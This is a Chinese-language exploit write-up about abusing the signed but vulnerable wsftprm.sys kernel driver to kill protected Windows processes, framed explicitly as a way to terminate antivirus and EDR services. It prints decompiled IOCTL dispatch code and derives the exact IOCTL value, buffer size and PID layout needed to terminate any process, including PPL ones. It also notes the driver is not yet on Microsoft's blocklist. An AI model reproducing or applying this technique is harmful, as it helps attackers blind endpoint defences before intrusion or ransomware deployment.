又一个驱动被烧了... 我之前一直藏着 wsftprm.sys 驱动 😉 但既然有人发了公开的 PoC,我也就不再藏着掖着了。我们都知道它很快就会被加入驱动黑名单,所以我用 C 语言实现了同样的功能。
该项目利用存在漏洞的 wsftprm.sys(Topaz Antifraud 内核驱动)来终止 Windows 上的受保护进程(例如杀毒软件/EDR 服务)。
截至 2026 年 1 月,wsftprm.sys(SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8)仍然是一个已签名的漏洞驱动,不在微软官方的漏洞驱动黑名单中。
网上有大量关于如何加载和逆向驱动的信息,请自行参考。这个驱动唯一有趣的地方在于它如何处理 IOCTL……该驱动没有使用标准的 switch 语句进行 IOCTL 分发,而是采用一连串从 IOCTL 码中减去的操作来隐藏实际值。
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// 复制 1036 字节的输入缓冲区
// 提取第一个 DWORD 作为 PID (v41)
// 调用 sub_14000264C(v41, buffer) → 导致进程终止
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = 缓冲区[0..3] 中的 PID
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
现在我们知道了进入漏洞函数的前提条件:v11 == 4 && InputBufferLength == 1036,所以我们可以从该条件逆向推导出 IOCTL 码…… 大致如下:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
然后你就可以使用 DeviceIoControl 并传入该 IOCTL 码来终止任意进程(包括 PPL 进程)。
最后在 Windows 版本 25H2 上测试通过!